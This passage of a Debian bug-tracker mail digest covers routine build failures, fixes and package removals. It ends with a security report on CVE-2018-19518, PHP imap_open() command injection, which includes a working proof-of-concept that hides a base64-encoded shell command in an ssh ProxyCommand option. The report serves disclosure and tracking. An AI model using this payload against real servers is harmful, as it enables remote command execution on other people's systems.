lastpass-cli_1.3.1-6.dsc 44f0c7eb422b424090b3eba00f36c9ca 5052 utils optional lastpass-cli_1.3.1-6.debian.tar.xz 65c389e33d5cbbedefc1c3ad0d4fd899 252088 debug optional lastpass-cli-dbgsym_1.3.1-6_amd64.deb aa16294a82c0f20af0bfaad4cf811853 7257 utils optional lastpass-cli_1.3.1-6_amd64.buildinfo 32bfb9b5aeccec961b37cf30d770ccdd 89268 utils optional lastpass-cli_1.3.1-6_amd64.deb -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEwv5L0nHBObhsUz5GHpU+J9QxHlgFAlwRElMACgkQHpU+J9Qx Hlj1GA//d4Xoio/o1dTLHwlt0HPHvpm3fKkZ0SY95P2G+WuhErq2euVrW/shz63z bQ8FGjLw/hEsklWAES0o7IJW7YopjgvgQ8943yEQ7pNE5BQBnRhhGqn35ALJnFIl jdbQ+uhEJ1VBBKOWfDsPCHfj/c82/U1ZQr7iCEaT10wToVW0zNmQFZrUkO9CDDo4 i7lvhKqJhGWbmlgr/LJ0IzoGgvqOxs6jf8yRsNj0SF2mDeSBE4HaDuvTe6w3RYcb 9AwJk0PzPAkjeUrAAqbapwB3H1/YjC5a3bwRyP5UTtaQlOfxWXDXHCJ+4L2oQLNu t5F/i6uoRJ3eIaNuHcc4Ah4uisZVOCXHWD5JtGmTHRxSMoT35aCPHgzdrg2Xzapf tREDBclNRGGDjZU5eQDxWPw/ReD42Fhg3FYF6Se9B322Q4WbXGU847Wthdvs/vOf oQrwrl9mWMGsy8XTOAtwksf0KPJphmcbKjLRE9TrBiNZVvRyQRShbYAPX/lSxpn4 PVlth4F9h+Ei+vULk70joYiylvcwSqufKqY8e1g8S3HkoBtzpDZfHAjNIwQMTZI+ eRhhmBF/nokvCuvqqIGyEC0FTALnETFRY0FStRdvJQ1X56PAa0TcHIl/xenwZu4s ioqbUfTxsGKbgY70ESpM0DmdvK/pA7epK8b4/L/TA3Je9ePSCF8= =zUTi -END PGP SIGNATURE End Message ---
Bug#874727: New version of coin3
Hi, see: https://lists.debian.org/debian-science/2018/12/msg00028.html Cheers, Leopold -- -- Linux User 152692 GPG: 05F4A7A949A2D9AA Catalonia - A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. Q: What is the most annoying thing in e-mail? signature.asc Description: OpenPGP digital signature
Bug#916048: marked as done (nwchem FTBFS with glibc 2.28)
Your message dated Wed, 12 Dec 2018 13:52:17 + with message-id and subject line Bug#916048: fixed in nwchem 6.8+47+gitdf6c956-4 has caused the Debian Bug report #916048, regarding nwchem FTBFS with glibc 2.28 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916048: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916048 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: nwchem Version: 6.8+47+gitdf6c956-3 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/nwchem.html ... util_fadvise.c: In function 'util_fadvise': util_fadvise.c:47:5: error: unknown type name 'loff_t'; did you mean 'off_t'? loff_t offset = 0; ^~ off_t util_fadvise.c:48:5: error: unknown type name 'loff_t'; did you mean 'off_t'? loff_t length = fd_stat.st_size; ^~ off_t make[3]: *** [../config/makefile.h:2699: /build/1st/nwchem-6.8+47+gitdf6c956/lib/LINUX64/libnwcutil.a(util_fadvise.o)] Error 1 --- End Message --- --- Begin Message --- Source: nwchem Source-Version: 6.8+47+gitdf6c956-4 We believe that the bug you reported is fixed in the latest version of nwchem, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Banck (supplier of updated nwchem package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 14:29:18 +0100 Source: nwchem Binary: nwchem nwchem-data Architecture: source Version: 6.8+47+gitdf6c956-4 Distribution: unstable Urgency: medium Maintainer: Debichem Team Changed-By: Michael Banck Description: nwchem - High-performance computational chemistry software nwchem-data - High-performance computational chemistry software (data files) Closes: 916048 Changes: nwchem (6.8+47+gitdf6c956-4) unstable; urgency=medium . * debian/patches/20_glibc-2.28_fix.patch: New patch, replaces loff_t with off_t, taken from upstream commit 6f6865a8. Closes: #916048. Checksums-Sha1: e172835f851974249334f5e9e081fc7ac6518165 2234 nwchem_6.8+47+gitdf6c956-4.dsc b18570db8b7349db2eb0b6451fcd39c2e8c81be4 20992 nwchem_6.8+47+gitdf6c956-4.debian.tar.xz 9ff3ad7cb2322b3991bd13472c34b96c65f9eff7 6709 nwchem_6.8+47+gitdf6c956-4_source.buildinfo Checksums-Sha256: cf86ceb193d7d319eec066ef91093c9c75a8ee1c334eeaed8059e2d651688cc5 2234 nwchem_6.8+47+gitdf6c956-4.dsc 21f2e737908336e7470b2c2589ceea57ece05f162156f9e4be7c3935c2772b09 20992 nwchem_6.8+47+gitdf6c956-4.debian.tar.xz 6aacde1f69189bd48e4a30b7cd82033e85c5835769421d078a142318fd5104bb 6709 nwchem_6.8+47+gitdf6c956-4_source.buildinfo Files: c711e1dc6a44b8bec19b0e07fdcad996 2234 science optional nwchem_6.8+47+gitdf6c956-4.dsc 22fad22ff37cef17131372a8772e4946 20992 science optional nwchem_6.8+47+gitdf6c956-4.debian.tar.xz 8041dc0424a3782bf6d36667625aac88 6709 science optional nwchem_6.8+47+gitdf6c956-4_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEnKh3dJ+rLk+paGLs3GhqJ7Q0gbAFAlwRDXMACgkQ3GhqJ7Q0 gbD25w//T1qemOALQocoNAXtMyHEQ3Ojb2N9jI0UXgD39MUL3SJlkaZLZ00Lbtqp 71d31fkNSnmuMrnwki9NXV5FKtSSSdJqZ+7icWnxLBUZLsIDcgqs7h9WiDC6Hp0k p/Ue0mBjKu6zjSxa26t6sc5OOFL0/JoBTtcMY9GmK4rOXcqlOKuU9PyZWH86Tigu DSMFkjIDFN3sZRXadykE29TYnG75Wb3VcHwgZXThdmVmYgtPVSAj4XOATLCzS11I 8GqaVjaAjn0MnuBf2adziDs/UoScIv+k5bmMrjMUaUgCi2o85lnQnz7HGCxJuzdk 27eKisSRNfytNDZw1vJ2JadLrxf4ebMalkDdIX9EIaTnONNUMZ4CQuZLHws3Gnq0 m6cPuuA1z1xYg9XBAvKI7cFSPEinfvhjpBN4tSZdWXyKu/KZdiRRPOdHQ6FCCbCW Ns4ijX7/yB25SPiHPVGwevbHKSmh+3W2NSUEjLcWwIuNW6NiqtUPx3ZORV0OmKyf yKavz1PJIdFLSk2RDhGnGJxw+hPKDGsFemjBzsdNayLwBDjHfIUyV2ZrG5EMTUom SZBY4t7htcrehsetxMXW1pDAGnDhGic4e4/JSP8/FO2dUs618MdjpXrBoJIpErFG dQth0LMjdPSBkROhR31NYo9wMf/+v3G20txB5oEQQdGfyz7K0xI= =KbEA -END PGP SIGNATURE End Message ---
Processed: [b...@debian.org] Bug#916052: alsa-oss FTBFS with glibc 2.28
Processing control commands: > forwarded -1 alsa-de...@alsa-project.org Bug #916052 [src:alsa-oss] alsa-oss FTBFS with glibc 2.28 Set Bug forwarded-to-address to 'alsa-de...@alsa-project.org'. -- 916052: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916052 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916251: marked as done (dvd+rw-tools: FTBFS with glibc 2.28)
Your message dated Wed, 12 Dec 2018 13:34:17 + with message-id and subject line Bug#916251: fixed in dvd+rw-tools 7.1-14 has caused the Debian Bug report #916251, regarding dvd+rw-tools: FTBFS with glibc 2.28 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916251: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916251 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: dvd+rw-tools Version: 7.1-13 Severity: serious Tags: patch ftbfs Justification: fails to build from source (but built successfully in the past) User: ubuntu-de...@lists.ubuntu.com Usertags: origin-ubuntu disco ubuntu-patch Dear Maintainer, dvd+rw-tools currently fails to build from source with glibc 2.28 because they changed the way the 'major' and 'minor' macros can be accessed. [1] Specifically: * The macros 'major', 'minor', and 'makedev' are now only available from the header ; not from or various other headers that happen to include . These macros are rarely used, not part of POSIX nor XSI, and their names frequently collide with user code; see https://sourceware.org/bugzilla/show_bug.cgi?id=19239 for further explanation. is a GNU extension. Portable programs that require these macros should first include , and then include if __GNU_LIBRARY__ is defined. We saw the following errors while building in Ubuntu accordingly: growisofs.o growisofs_mmc.o -lpthread -o growisofs /usr/bin/ld: growisofs.o: in function `find_raw_device': ./growisofs.c:658: undefined reference to `major' /usr/bin/ld: ./growisofs.c:659: undefined reference to `minor' /usr/bin/ld: growisofs.o: in function `grab_sg': ./growisofs.c:704: undefined reference to `minor' collect2: error: ld returned 1 exit status This is reproducible in sid as well. In Ubuntu, the attached patch was applied to achieve the following: * debian/patches/glibc-2.28.patch: Fix FTBFS with glibc >= 2.28. Thanks for considering the patch. Logan Rosen [1] https://www.sourceware.org/ml/libc-alpha/2018-08/msg3.html -- System Information: Debian Release: buster/sid APT prefers cosmic-updates APT policy: (500, 'cosmic-updates'), (500, 'cosmic-security'), (500, 'cosmic'), (400, 'cosmic-proposed'), (100, 'cosmic-backports') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 4.18.0-12-generic (SMP w/8 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled diff -Nru dvd+rw-tools-7.1/debian/patches/glibc-2.28.patch dvd+rw-tools-7.1/debian/patches/glibc-2.28.patch --- dvd+rw-tools-7.1/debian/patches/glibc-2.28.patch1969-12-31 19:00:00.0 -0500 +++ dvd+rw-tools-7.1/debian/patches/glibc-2.28.patch2018-12-11 23:42:00.0 -0500 @@ -0,0 +1,26 @@ +--- a/growisofs.c b/growisofs.c +@@ -444,6 +444,10 @@ + #include + #include "mp.h" + ++#if defined(__GNU_LIBRARY__) ++# include ++#endif ++ + #if defined(__unix) || defined(__unix__) + # include + # include +--- a/transport.hxx b/transport.hxx +@@ -53,6 +53,10 @@ + #define ENV_LOCALE".OCP" + #endif + ++#if defined(__GNU_LIBRARY__) ++# include ++#endif ++ + #include "asctable.h" + + #define CREAM_ON_ERRNO_NAKED(s) \ diff -Nru dvd+rw-tools-7.1/debian/patches/series dvd+rw-tools-7.1/debian/patches/series --- dvd+rw-tools-7.1/debian/patches/series 2018-10-09 10:05:01.0 -0400 +++ dvd+rw-tools-7.1/debian/patches/series 2018-12-11 23:38:51.0 -0500 @@ -10,3 +10,4 @@ ignore_pseudo_overwrite.patch 10-blue-ray-bug713016.patch fix_burning_bd-r_discs.patch +glibc-2.28.patch --- End Message --- --- Begin Message --- Source: dvd+rw-tools Source-Version: 7.1-14 We believe that the bug you reported is fixed in the latest version of dvd+rw-tools, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. TANIGUCHI Takaki (supplier of updated dvd+rw-tools package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8
Bug#916052: [b...@debian.org] Bug#916052: alsa-oss FTBFS with glibc 2.28
Control: forwarded -1 alsa-de...@alsa-project.org Hi, could you please investigate? It seems as alsa-oss doesn't built with glibc 2.28. Thanks in advance Elimar -- Learned men are the cisterns of knowledge, not the fountainheads ;-) --- Begin Message --- Source: alsa-oss Version: 1.1.6-1 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/alsa-oss.html ... In file included from alsa-oss.c:736: stdioemu.c:40:10: fatal error: libio.h: No such file or directory #include ^ compilation terminated. make[2]: *** [Makefile:517: alsa-oss.lo] Error 1 --- End Message ---
Bug#916272: marked as done (cylc: binary-any FTBFS)
Your message dated Wed, 12 Dec 2018 13:19:19 + with message-id and subject line Bug#916272: fixed in cylc 7.8.0-3 has caused the Debian Bug report #916272, regarding cylc: binary-any FTBFS to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916272: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916272 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: cylc Version: 7.8.0-1 Severity: serious Tags: ftbfs https://buildd.debian.org/status/package.php?p=cylc=sid ... # shipped separately find debian/python-cylc -name glyphicons-halflings-regular.ttf -delete mkdir -p debian/cylc/usr/share/cylc if test -f debian/python-cylc/usr/lib/python2.7/dist-packages/cylc/job.sh ; then \ mv debian/python-cylc/usr/lib/python2.7/dist-packages/cylc/job.sh debian/cylc/usr/share/cylc/job.sh ; \ chmod +x debian/cylc/usr/share/cylc/job.sh ; \ fi chmod +x debian/cylc/usr/share/bash-completion/completions/cylc-bash-completion chmod: cannot access 'debian/cylc/usr/share/bash-completion/completions/cylc-bash-completion': No such file or directory make[1]: *** [debian/rules:41: override_dh_fixperms] Error 1 This can be reproduced with dpkg-buildpackage -B --- End Message --- --- Begin Message --- Source: cylc Source-Version: 7.8.0-3 We believe that the bug you reported is fixed in the latest version of cylc, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Alastair McKinstry (supplier of updated cylc package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 11:29:05 + Source: cylc Binary: cylc python-cylc Architecture: source all amd64 Version: 7.8.0-3 Distribution: unstable Urgency: medium Maintainer: Alastair McKinstry Changed-By: Alastair McKinstry Description: cylc - Workflow scheduler python-cylc - Python libraries for cylc workflow scheduler Closes: 916272 Changes: cylc (7.8.0-3) unstable; urgency=medium . * Make chmod+x condiitional in dh_fixperms for binary-only builds Closes:#916272 * Add B-D on less for doc building script * Typo in envvars.patch: no os.path.path * Fix non-UTF8 chars that break PDF building * Drop unused shlib:Depends in cylc Checksums-Sha1: b0d2b9abc5e4d6f4fe5d1f05330309a3923f4b9d 2098 cylc_7.8.0-3.dsc 2c58d6b407c40a00a4bb85c01596cbe00daa65bd 17060 cylc_7.8.0-3.debian.tar.xz ebef5065827578c00cfc61f545bb3995f0f1c271 114732 cylc_7.8.0-3_all.deb 9d3ab787ea46a0871dde9fbb316270fd62023453 11005 cylc_7.8.0-3_amd64.buildinfo 49dca265b717ec13ea06459dc7afbda220aba191 683236 python-cylc_7.8.0-3_amd64.deb Checksums-Sha256: 7044c3d3091a5cddae9f54036b4a7ff6b7fb13e34d0c709a4ab704b44aa7e4bc 2098 cylc_7.8.0-3.dsc 095f0ad260b470cacf0aab678ebb952ad111dce2de3aef8d19be29535639e4fe 17060 cylc_7.8.0-3.debian.tar.xz f5d34cb63d52eff93407fb20182c4ca149c4bdb9e3d12a131ac6b4e0a7e27d97 114732 cylc_7.8.0-3_all.deb f364a88a7b26cf6b579b1c2573b63014c1fbf1d39f960fa2ed19a37a538757f2 11005 cylc_7.8.0-3_amd64.buildinfo 6b7efa254c98196c30986d9755caddcafc09bb5a663706b2670d3365586767ff 683236 python-cylc_7.8.0-3_amd64.deb Files: 4b670cc417b589e118c15303e955b102 2098 utils optional cylc_7.8.0-3.dsc 2adeb1bb060e7819e1c2ce1a6d3cbdf6 17060 utils optional cylc_7.8.0-3.debian.tar.xz b2a16b90b85080f70f26b93b47b9cddc 114732 utils optional cylc_7.8.0-3_all.deb dd8542d31e38af1a3a0a5121a66a2a6d 11005 utils optional cylc_7.8.0-3_amd64.buildinfo f610025ee61982611e5a0578aff017c2 683236 python optional python-cylc_7.8.0-3_amd64.deb -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEgjg86RZbNHx4cIGiy+a7Tl2a06UFAlwRB68ACgkQy+a7Tl2a 06XJzg//bXwE8CvVgKl2L3Ajx317HxcrIzo5ec4DdEyMadznw43qzD+sGZnS4jQh kbN7Jp39ibbjkaLUQOv9N6CF8n0BeO2Qc8WN7CRhFb4cjSaRTYLEAvg1WdFlWJe1 1NHV9K/+jE3Hg+zdrJvDDQmXG6GBIfEM+sSz3McLGumAfkJQaVXePbqz1kenb6QX 8vcjludoxXE4X6rV7eMyXW4gn8cjngbmkxL1a24nuVBojFoIKJvT2ph9r8QhswPT 2Nd455xygOOeocS2fcPA+4fqk3+yQM8eqB4oED+/Zbagjm/tgT2UJDCTz4sp+eQ9 vhsNZopkN56e4+J4Purml10XnAdD8Vzp6cm43bVp14Vq/W6jT37KRMRnUOEv50kL xUAYmYvjjdpPhbKjR8MJ89yQfnYag3dcogh/JdgOlU+hdmTKB1ZEabijrN1GChFt
Processed: fixed 914779 in 2:13.0.1-5
Processing commands for cont...@bugs.debian.org:
> fixed 914779 2:13.0.1-5
Bug #914779 {Done: Thomas Goirand } [cinder-common]
cinder-common: fails to install: cinder-common.config: ip: not found
Marked as fixed in versions cinder/2:13.0.1-5.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
914779: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=914779
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#889297: marked as done (debops: New upstream release v0.6.0)
Your message dated Wed, 12 Dec 2018 13:35:14 +0100 with message-id <1144a1ab-773f-37bb-7887-5d92915f6...@danielstender.com> and subject line debops: New upstream release v0.6.0 has caused the Debian Bug report #889297, regarding debops: New upstream release v0.6.0 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 889297: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889297 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: debops Version: 0.4.3-1 Severity: serious There a new upstream version v0.6.0, in Github releases available. https://github.com/debops/debops/releases If i am well, this one doesn't depends on the debops-playbooks package any more, as spoked about in debbug 880102. RM: debops-playbooks/experimental -- ROM; not needed anymore https://bugs.debian.org/880102 But there a problem with this old one. Check debbug 880102 debops: Uninstallable due to debops-playbooks removal https://bugs.debian.org/884639 So please, are you willing to update Debian VCS / Git? Good to know v1.0.0 is planned for spring 2018. Thanks, Frans van Berckel --- End Message --- --- Begin Message --- This is going to be removed (#916271). Thanks, DS -- 4096R/DF5182C8 (sten...@debian.org) http://www.danielstender.com/--- End Message ---
Bug#884639: marked as done (debops: Uninstallable due to debops-playbooks removal)
Your message dated Wed, 12 Dec 2018 13:36:25 +0100 with message-id <131d3e2e-fb00-305b-a1e3-92a0e0552...@danielstender.com> and subject line debops: Uninstallable due to debops-playbooks removal has caused the Debian Bug report #884639, regarding debops: Uninstallable due to debops-playbooks removal to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 884639: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=884639 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: debops Version: 0.4.3-1 Severity: serious debops has a hard dependency on debops-playbooks, but debops-playbooks has been removed from Debian with the claim "it's no more needed" (https://bugs.debian.org/880102). Sounds for me as if that claim was wrong. -- System Information: Debian Release: buster/sid APT prefers unstable APT policy: (990, 'unstable'), (600, 'testing'), (500, 'unstable-debug'), (500, 'buildd-unstable'), (110, 'experimental'), (1, 'experimental-debug'), (1, 'buildd-experimental') Architecture: amd64 (x86_64) Kernel: Linux 4.13.0-rc7-amd64 (SMP w/8 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages debops depends on: ii ansible2.4.2.0+dfsg-1 ii debops-playbooks 0.2.8+git20160329.3286ccd-1 ii libpython2.7-stdlib [python-argparse] 2.7.14-4 ii python 2.7.14-4 ii python-netaddr 0.7.19-1 ii python-pkg-resources 38.2.4-2 Versions of packages debops recommends: ii encfs 1.9.2-2 ii gnupg 2.2.3-1 pn python-ldap ii python-passlib 1.7.1-1 pn uuid-runtime debops suggests no packages. -- no debconf information --- End Message --- --- Begin Message --- Debops is going to be removed (#916271). Thanks, DS -- 4096R/DF5182C8 (sten...@debian.org) http://www.danielstender.com/--- End Message ---
Bug#916034: sl-modem-dkms: module FTBFS for 4.18.0-3-amd64, 4.9.0-8-amd64
On 2018-12-12 12:46, أحمد المحمودي wrote: > On Sun, Dec 09, 2018 at 03:06:49PM +0100, Andreas Beckmann wrote: >> old_st7554.c:49:10: fatal error: linux/init.h: No such file or directory >> old_st7554.c:48:26: fatal error: linux/module.h: No such file or directory > ---end quoted text--- > > Are you sure that you havethe appropriate linux headers package > installed ? linux-headers-4.18.0-3-amd64 is installed, but maybe it has changed its layout? There is /usr/src/linux-headers-4.18.0-3-amd64/include/generated/uapi/linux/version.h You you get the compile flags from Kbuild, or do you reinvent them on your own? Andreas
Bug#914779: marked as done (cinder-common: fails to install: cinder-common.config: ip: not found)
Your message dated Wed, 12 Dec 2018 13:52:57 +0100 with message-id <0a0c1d12-13db-804a-ee50-77742d7b4...@debian.org> and subject line Wrongly closed bug #914779 has caused the Debian Bug report #914779, regarding cinder-common: fails to install: cinder-common.config: ip: not found to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 914779: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=914779 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: cinder-common Version: 2:13.0.1-4 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, during a test with piuparts I noticed your package failed to install. As per definition of the release team this makes the package too buggy for a release, thus the severity. >From the attached log (scroll to the bottom...): Setting up cinder-common (2:13.0.1-4) ... /var/lib/dpkg/info/cinder-common.config: 1: /var/lib/dpkg/info/cinder-common.config: ip: not found dpkg: error processing package cinder-common (--configure): installed cinder-common package post-installation script subprocess returned error exit status 1 cheers, Andreas cinder-common_2:13.0.1-4.log.gz Description: application/gzip --- End Message --- --- Begin Message --- Fixes wrongly closed bug in cinder's debian/changelog.--- End Message ---
Bug#893723: marked as done (nagvis: PHP Fatal error: Redefinition of parameter $_unused_flag)
Your message dated Wed, 12 Dec 2018 12:50:40 +
with message-id
and subject line Bug#893723: fixed in nagvis 1:1.9.10-1
has caused the Debian Bug report #893723,
regarding nagvis: PHP Fatal error: Redefinition of parameter $_unused_flag
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
893723: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893723
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: nagvis
Version: 1:1.7.10+dfsg1-3.2
Severity: grave
Tags: patch
Justification: renders package unusable
Dear Maintainer,
We installed the nagvis and nagvis-demos package. Opening nagvis in a browser
lead to a HTTP/500 internal server error. In the apache error log we had the
following lines:
[Wed Mar 21 16:16:45.976333 2018] [:error] [pid 28158] [client
192.168.12.252:61683] PHP Fatal error: Redefinition of parameter $_unused_flag
in /usr/share/nagvis/share/server/core/classes/objects/NagVisMapObj.php on line
247, referer:
http://kameraserver/nagvis/frontend/nagvis-js/index.php?mod=Map=view=demo-germany
We followed the advice of the user hurr1c4ne on the following forum thread:
https://monitoring-portal.org/woltlab/index.php?thread/37078-php-fatal-error-redefinition-of-parameter-unused-flag-in-usr-share-nagvis-share/
This solved the problem for us. The post of hurr1c4n is as follows:
Have the same situation on my Ubuntu 16.04.1 Server.
I just changed the following lines
/usr/share/nagvis/share/server/core/classes/objects/NagiosService.php
:103
function queueState($_unused_flag = true) {
/usr/share/nagvis/share/server/core/classes/objects/NagVisMapObj.php
:247
public function queueState($_unused_flag = true) {
After this changes, the error messages are gone and the website works as
expected.
This helped to get the demo maps running.
Best regards,
Jan
-- System Information:
Debian Release: 9.4
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 4.9.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages nagvis depends on:
ii debconf [debconf-2.0] 1.5.61
ii graphviz 2.38.0-17
ii php 1:7.0+49
ii php-common1:49
ii php-gd1:7.0+49
ii php-net-socket1.0.14-2
ii php-php-gettext 1.0.12-0.1
ii php-sqlite3 1:7.0+49
ii php7.0 [php] 7.0.27-0+deb9u1
ii php7.0-gd [php-gd]7.0.27-0+deb9u1
ii php7.0-sqlite3 [php-sqlite3] 7.0.27-0+deb9u1
ii ucf 3.0036
nagvis recommends no packages.
Versions of packages nagvis suggests:
pn check-mk-livestatus
ii nagvis-demos 1:1.7.10+dfsg1-3.2
-- debconf information:
nagvis/delete_on_purge: false
* nagvis/monitoring_system: icinga
--- End Message ---
--- Begin Message ---
Source: nagvis
Source-Version: 1:1.9.10-1
We believe that the bug you reported is fixed in the latest version of
nagvis, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 893...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Sebastien Delafond (supplier of updated nagvis package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Wed, 12 Dec 2018 07:46:19 +0100
Source: nagvis
Binary: nagvis nagvis-demos
Architecture: source all
Version: 1:1.9.10-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Nagios Maintainer Group
Changed-By: Sebastien Delafond
Description:
nagvis - visualization addon for Nagios or Icinga
nagvis-demos - visualization addon for Nagios or Icinga - demo maps
Closes: 858042 893723 903369 903706
Changes:
nagvis (1:1.9.10-1) unstable; urgency=medium
.
* Team upload.
.
[ Bas Couwenberg ]
* Update watch file for move to GitHub.
Bug#913835: marked as done (php7.2-imap: CVE-2018-19518: imap_open() function command injection)
Your message dated Wed, 12 Dec 2018 14:42:14 +0200
with message-id <20181212124214.GC31069@localhost>
and subject line php7.2 has been removed from unstable
has caused the Debian Bug report #913835,
regarding php7.2-imap: CVE-2018-19518: imap_open() function command injection
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
913835: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=913835
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: php-imap
Version: 1:7.0+49
Severity: grave
Tags: security
Justification: user security hole
Dear Maintainer,
A command injection vulnerability has been identified in the imap
extension of php.
It is located in the imap_open() function which does not validate
correctly the server URI.
imap_open() invokes rsh which is symlinked to ssh on Debian, it results
in a possible command injection via the "-o ProxyCommand" option of ssh.
A PoC is available :
```
https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x
-oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError:
".imap_last_error());
```
- Bo0om : PHP_imap_open_exploit
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
- Antichat : [спущено с LVL8] RCE Task #3
